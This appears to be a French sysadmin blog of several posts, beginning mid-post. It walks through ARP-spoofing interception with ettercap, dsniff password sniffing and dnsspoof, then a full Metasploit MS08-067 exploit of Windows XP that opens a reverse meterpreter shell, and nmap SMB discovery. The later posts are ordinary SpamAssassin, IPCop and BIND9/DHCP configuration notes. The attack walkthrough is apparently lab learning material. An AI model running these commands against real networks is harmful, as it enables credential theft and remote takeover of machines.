$ sudo ettercap -T -M arp /@IP_PASSERELLE/ /@IP_VICTIME/

Enfin on écoute le réseau avec un outil qui nous affichera les mots de passe transitant en clair pour notamment les protocoles FTP, TELNET, SMTP et HTTP!

$ sudo dsniff -mc -n

Avec ettercap (notamment en mode graphique) on peut réaliser des MITM plus sophistiqués! Aussi, on peut uiliser tout un tas d’autres outils sympa : mailsnarf, filesnarf, urlsnarf

Dans un contexte de MITM on peut utiliser dnsspoof! il sera alors possible d’intercepter les requètes dns… et de renvoyer un résultat en fonction de notre propre un fichier host (option -f)

Attaquer un Windows XP avec Metasploit…

Lancement de metasploit :

$ sudo msfconsole

Utilisation de l’exploit « ms08_067_netapi » :

msf > use exploit/windows/smb/ms08_067_netapi 
msf exploit(ms08_067_netapi) >

On affiche les options :

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

On indique l’IP de la machine cible dans l’attribut « RHOST » :

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4
RHOST => 192.168.1.4

Chargement du payload « reverse_tcp » (pour obtenir le meterpreter) :

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

On ré-affiche les options (on y voit les nouvelles otpions liées au payload) :

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.4      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

On précise les options manquantes (ici l’IP et port de la machine locale) :

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(ms08_067_netapi) > set LPORT 6666
LPORT => 6666

Lancement de l’exploit pour avoir le meterpreter :

msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse handler on 192.168.1.33:6666 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.4
[*] Meterpreter session 2 opened (192.168.1.33:6666 -> 192.168.1.4:1044) at 2013-05-03 03:27:25 -0700

meterpreter >

Et voilà.. après on peut obtenir l’invite de commande MS Windows (commande « shell »), faire une capture d’écran, faire du déport d’affichage (vnc), récupérer les hashs des mots passes présents en mémoire…

Traquer Windows XP avec nmap…

… avec l’utilisation des scripts nmap smb-os-discovery.nse et smb-system-info.nse

On lance nmap (ici depuis la distribution kali-linux) afin de scanner notre plage IP :

root@kali# cd /usr/share/nmap
root@kali:/usr/share/nmap# nmap -sV --script=scripts/smb-os-discovery.nse,scripts/smb-system-info.nse 192.168.0.0/24

Starting Nmap 6.25 ( http://nmap.org ) at 2014-11-21 10:04 CET
...

Nmap scan report for 192.168.0.53
Host is up (0.0011s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Service
MAC Address: 08:00:27:36:14:2E (Cadmus Computer Systems)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: ie6winxp
|   NetBIOS computer name: IE6WINXP
|   Workgroup: MSHOME
|_  System time: 2014-11-21T01:02:50-08:00
|_smb-system-info: ERROR: Script execution failed (use -d to debug)

...

On voit clairement le ou les Windows XP.. On peut affiner en ne scannant que certains ports (option -p)

Par défaut nmap utilise le Scan TCP SYN (option -sS), ce qui permet de scanner des milliers de ports par seconde sans faire la session TCP jusqu’au bout..
http://nmap.org/man/fr/man-port-scanning-techniques.html

Pour faire des tests de vulnérabilités, on peut encore télécharger une image toute faite de windows XP ici : https://www.modern.ie/fr-fr/virtualization-tools

[Debian Wheezy] Spamassassin prend son temps! avec un DNSBL qui ne répond plus…

Après une installation classique d’un serveur SMTP (sur une Wheezy avec les paquets actuels) avec (donc) Postfix 2.9.6-2, Amavis-new 1:2.7.1-2, Clamav 0.97.8+dfsg-1 et Spamassassin 3.3.2 (+pyzor/razo2/DCC), je me rends compte que les messages mettent plus de 4 secondes avant d’être délivrés (de façon asynchrone tout de même)..

En mode Debug on peut voir les pourcentages du temps passé pour les traitements antispam et antivirus :

Feb 13 15:29:28 mailhost postfix/smtp[4184]: 2CA41A075B:
to=<arnaud.lenorcy@mydomain.com>, relay=127.0.0.1[127.0.0.1]:10024,
delay=4.6, delays=0.31/0.01/0.01/4.3, dsn=2.0.0, status=sent (250 2.0.0 from
MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as 88F7AA0A72)
Feb 13 15:29:28 mailhost amavis[4167]: (04167-01) size: 1244, TIMING [total 4270
ms] - SMTP greeting: 11 (0%)0, SMTP EHLO: 2 (0%)0, SMTP pre-MAIL: 2 (0%)0,
mkdir tempdir: 2 (0%)0, create email.txt: 0 (0%)0, SMTP pre-DATA-flush: 5
(0%)0, SMTP DATA: 33 (1%)1, check_init: 1 (0%)1, digest_hdr: 1 (0%)1,
digest_body: 1 (0%)1, mkdir parts: 4 (0%)1, mime_decode: 12 (0%)2,
get-file-type1: 17 (0%)2, parts_decode: 0 (0%)2, check_header: 1 (0%)2,
AV-scan-1: 11 (0%)2, spam-wb-list: 2 (0%)2, SA parse: 7 (0%)3, SA check:
4010 (94%)97, decide_mail_destiny: 13 (0%)97, notif-quar: 1 (0%)97,
fwd-connect: 19 (0%)97, fwd-mail-pip: 34 (1%)98, fwd-rcpt-pip: 1 (0%)98,
fwd-data-chkpnt: 0 (0%)98, write-header: 1 (0%)98, fwd-data-contents: 0
(0%)98, fwd-end-chkpnt: 43 (1%)99, prepare-dsn: 1 (0%)99, main_log_entry: 29
(1%)100, update_snmp: 3 (0%)100, SMTP pre-response: 1 (0%)100, SMTP
response: 1 (0%)100, unlink-1-files: 0 (0%)100, rundown: 1 (0%)100

Ce qui prend du temps c’est le SA check !

En lançant amavis en mode debug :

amavisd-new debug

.. on se rend compte qu’il s’agit d’une tentative d’accès à un DNSBL qui n’aboutit pas! Il s’agit de dnsbl.njabl.org qui est OFFLINE depuis Mars 2013. Au bout d’environ 4 secondes un timeout arrêtait tout de même la recherche..

Le fichier /usr/share/spamassassin/20_dnsbl_tests.cf contient les références à ce DNSBL :

# See the Mail::SpamAssassin::Conf manual page for details of how to use
# check_rbl().

# ---------------------------------------------------------------------------
# Multizone / Multi meaning BLs first.
#
# Note that currently TXT queries cannot be used for these, since the
# DNSBLs do not return the A type (127.0.0.x) as part of the TXT reply.
# Well, at least NJABL doesn't, it seems, as of Apr 7 2003.

# ---------------------------------------------------------------------------
# NJABL
# URL: http://www.dnsbl.njabl.org/

header __RCVD_IN_NJABL          eval:check_rbl('njabl', 'combined.njabl.org.')
describe __RCVD_IN_NJABL        Received via a relay in combined.njabl.org
tflags __RCVD_IN_NJABL          net
reuse  __RCVD_IN_NJABL

header RCVD_IN_NJABL_RELAY      eval:check_rbl_sub('njabl', '127.0.0.2')
describe RCVD_IN_NJABL_RELAY    NJABL: sender is confirmed open relay
tflags RCVD_IN_NJABL_RELAY      net
reuse  RCVD_IN_NJABL_RELAY

# NJABL DUL: obsoleted by PBL (bug 5187)

header RCVD_IN_NJABL_SPAM       eval:check_rbl_sub('njabl', '127.0.0.4')
describe RCVD_IN_NJABL_SPAM     NJABL: sender is confirmed spam source
tflags RCVD_IN_NJABL_SPAM       net
reuse  RCVD_IN_NJABL_SPAM

header RCVD_IN_NJABL_MULTI      eval:check_rbl_sub('njabl', '127.0.0.5')
describe RCVD_IN_NJABL_MULTI    NJABL: sent through multi-stage open relay
tflags RCVD_IN_NJABL_MULTI      net
reuse  RCVD_IN_NJABL_MULTI

header RCVD_IN_NJABL_CGI        eval:check_rbl_sub('njabl', '127.0.0.8')
describe RCVD_IN_NJABL_CGI      NJABL: sender is an open formmail
tflags RCVD_IN_NJABL_CGI        net
reuse  RCVD_IN_NJABL_CGI

header RCVD_IN_NJABL_PROXY      eval:check_rbl_sub('njabl', '127.0.0.9')
describe RCVD_IN_NJABL_PROXY    NJABL: sender is an open proxy
tflags RCVD_IN_NJABL_PROXY      net
reuse  RCVD_IN_NJABL_PROXY

Pour éviter ce DNSBL j’ai rajouté de ces quelques lignes dans /etc/spamassassin/local.cf :

score   __RCVD_IN_NJABL 0
score   RCVD_IN_NJABL_RELAY 0
score   RCVD_IN_NJABL_SPAM 0
score   RCVD_IN_NJABL_MULTI 0
score   RCVD_IN_NJABL_CGI 0
score   RCVD_IN_NJABL_PROXY 0

voilà il n’y a plus cette latence de 4 secondes par message!

Le lien suivant décrit comment mieux paramétrer ces DNSBL :
http://wiki.apache.org/spamassassin/DnsBlocklists

Pour éviter tous les DNSBL, on pourrait mettre ça dans /etc/spamassassin/local.cf :

skip_rbl_checks  1

Avec une version >= 3.4 de Spamassassin, pour éviter simplement le DNSBL njabl.org, on pourrait mettre ceci dans /etc/spamassassin/local.cf :

dns_query_restriction deny njabl.org

A priori, pour qu’il y ait encore moins de latence, il vaudrait mieux avoir un cache dns en local sur le serveur SMTP :
http://wiki.apache.org/spamassassin/CachingNameserver

Pour ça, sur la Debian Wheezy, il suffit simplement d’installer BIND9 :

apt-get update
apt-get install bind9

.. et la configuration par défaut suffit!

Faire un routeur linux en quelques clics avec Ipcop

L’idée est de constituer un sous-réseau « indépendant » du réseau de l’entreprise (sans pour autant rajouter un nouveau vlan pour ça..) pour y faire des tests et notamment pour essayer Samba 4.

Il me fallait une plage d’adresses « propre » d’aucune pollution – sans contrôleur de domaine (faire cohabiter plusieurs domaines « windows » c’est pas top) avec des accès au LAN de l’entreprise.

– On télécharge Ipcop (distribution linux d’une 50aine de Méga)
– On l’installe sur une machine avec 2 interfaces réseaux (je ne sais pas si l’on peut y configurer des interfaces réseaux virtuels sur la même carte, je n’ai pas essayé) : le réseau ROUGE est le LAN de l’entreprise et le réseau VERT est notre sous-réseau (192.168.0.0/24)
– Depuis le réseau VERT on se connecte à l’interface web de l’Ipcop (https://monipcop:445) pour :
* activer le ssh depuis le VERT
* activer le DHCP sur le réseau VERT
* rediriger les ports pour pouvoir accéder aux machines du réseau VERT (ssh ou accès distants de type vnc..) depuis le réseau ROUGE (cad mon poste de travail sur le LAN de l’entreprise)
* on permet l’accès à l’interface web depuis quelques machines du réseau ROUGE (mon poste de travail surtout..)
* on peut peaufiner l’icop (via l’interface web) pour activer le proxy/cache on peut faire du proxy transparent..

En quelques minutes tout est ok…..

Après on peut utiliser Ipcop plus finement avec l’intégration d’un tas de plugins……….

Configurer un serveur DNS sous debian avec bind9 avec enregistrement automatique par le DHCP

On considère que l’on a un Bind bien configuré (voir post précédent). On souhaite maintenant avoir aussi des zones maitres avec un enregistrement automatique des postes (window xp principalement!) dans le DNS !

Le DNS (la machine est « mondns » 192.168.1.3) n’est pas sur la même machine que le DHCP (la machine est « mondhcp » 192.168.1.4)

Sur la machine DNS, on configure la clé rndc avec le script adapté :

# rndc-confgen

On obtient de quoi concevoir le fichier /etc/bind/rndc.conf c’est à dire :

# Start of rndc.conf
key "rndc-key" {
        algorithm hmac-md5;
        secret "monsecret";
};

options {
        default-key "rndc-key";
        default-server 127.0.0.1;
        default-port 953;
};
# End of rndc.conf

On rajoute dans le named.conf :

key "rndc-key" {
        algorithm hmac-md5;
        secret "monsecret";
};

controls {
      inet 127.0.0.1 port 953
              allow { 127.0.0.1;192.168.1.4; } keys { rndc-key; };
};

# De quoi journaliser car cela ne fait pas de mal :
logging {
           channel update_debug {
                file "/var/log/update_debug.log" versions 3 size 100k;
                severity  debug 3;
                print-category yes;
                print-severity yes;
                print-time     yes;
           };
           channel security_info    {
                file "/var/log/securite_debug.log" versions 3 size 100k;
                severity  info;
                print-category yes;
                print-severity yes;
                print-time     yes;
           };

           channel queries_info        {
                file "/var/log/queries_debug.log" versions 3 size 1m;
                severity  debug 1;
                print-category yes;
                print-severity yes;
                print-time     yes;
           };

            channel lame_info        {
                file "/var/log/lame_debug.log" versions 3 size 100k;
                severity  info;
                print-category yes;
                print-severity yes;
                print-time     yes;
           };

           category update { update_debug; };
           category security { security_info; };
           category queries { queries_info; };
           category lame-servers { lame_info; };
};

zone "domaine1.univ-orleans.fr" in {
   type master;
   file "/etc/namedb/db.domaine1.univ-orleans.fr";
   allow-update{key rndc-key;};
   notify yes;
};

zone "1.168.192.in-addr.arpa" in {
   type master;
   file "/etc/namedb/db.1.168.192";
   allow-update{key rndc-key;};
   notify yes;
   };

Sur le serveur DHCP (dans dhcpd.conf) on rajoute :

ddns-domainname "domaine1.univ-orleans.fr.";
ddns-rev-domainname "in-addr.arpa.";
ddns-updates on;
ddns-update-style interim;
ignore client-updates;
update-static-leases on;
option domain-name-servers 192.168.1.3;

key "rndc-key" {
        algorithm hmac-md5;
        secret "monsecret";
};
zone 1.168.192.in-addr.arpa {
        primary 192.168.1.3;
        key rndc-key;
        }
zone domaine1.univ-orleans.fr {
        primary 192.168.1.3;
        key rndc-key;
        }

Création de db.domaine1.univ-orleans.fr (on y met quelques machines…) :

$ORIGIN .
$TTL 3600       ; 1 hour
domaine1.univ-orleans.fr IN SOA  mondns.domaine1.univ-orleans.fr. administrateur.mondns.univ-orleans.fr. (
                                2731       ; serial
                                900        ; refresh (15 minutes)
                                600        ; retry (10 minutes)
                                86400      ; expire (1 day)
                                3600       ; minimum (1 hour)
                                )
                        NS      mondns.domaine1.univ-orleans.fr.
$ORIGIN domaine1.univ-orleans.fr.
$TTL 21600      ; 6 hours

$TTL 3600       ; 1 hour
mondns                    A       192.168.1.3
$TTL 1200       ; 20 minutes
machine1                   A       192.168.1.100
machine2                   A       192.168.1.101

Création de db.1.168.192 :

$ORIGIN .
$TTL 3600       ; 1 hour
1.168.192.in-addr.arpa IN SOA  mondns.domaine1.univ-orleans.fr. administrateur.domaine1.univ-orleans.fr. (
                                47         ; serial
                                900        ; refresh (15 minutes)
                                600        ; retry (10 minutes)
                                86400      ; expire (1 day)
                                3600       ; minimum (1 hour)
                                )
                        NS      mondns.domaine1.univ-orleans.fr.
$ORIGIN 1.168.192.in-addr.arpa.
$TTL 21600      ; 6 hours
3                        PTR     mondns.domaine1.univ-orleans.fr.
100                     PTR     machine1.domaine1.univ-orleans.fr.
101                     PTR     machine2.domaine1.univ-orleans.fr.

On lance (ou relance) le démon :

# invoke-rc.d bind9 restart

Après quelques minutes (et si tout est OK dans /var/log/syslog et /chroot/named/var/log/) des fichiers .jnl doivent automatiquement se créer : db.1.168.192.jnl et db.domaine1.univ-orleans.fr.jnl !!

On peut aussi regarder dans les logs du DHCP (/var/log/syslog) sur la machine 192.168.1.4 :

May 19 12:08:20 mondhcp dhcpd: DHCPDISCOVER from 00:15:d5:59:02:ba via eth0
May 19 12:08:20 mondhcp dhcpd: DHCPOFFER on 192.168.1.102 to 00:15:d5:59:02:ba via eth0
May 19 12:08:20 mondhcp dhcpd: Added new forward map from machine3.domaine1.univ-orleans.fr. to 192.168.1.102
May 19 12:08:20 mondhcp dhcpd: added reverse map from 102.1.168.192.in-addr.arpa. to machine3.domaine1.univ-orleans.fr.

On peut constater que ça marche plutôt pas mal!

Un petit nslookup sur une machine ayant le resolv.conf configuré comme il faut avec le DNS que l’on vient de créer :

# nslookup 192.168.1.102
Server:         192.168.1.3
Address:        192.168.1.3#53

102.1.168.192.in-addr.arpa     name = machine3.domaine1.univ-orleans.fr.

Tout est ok !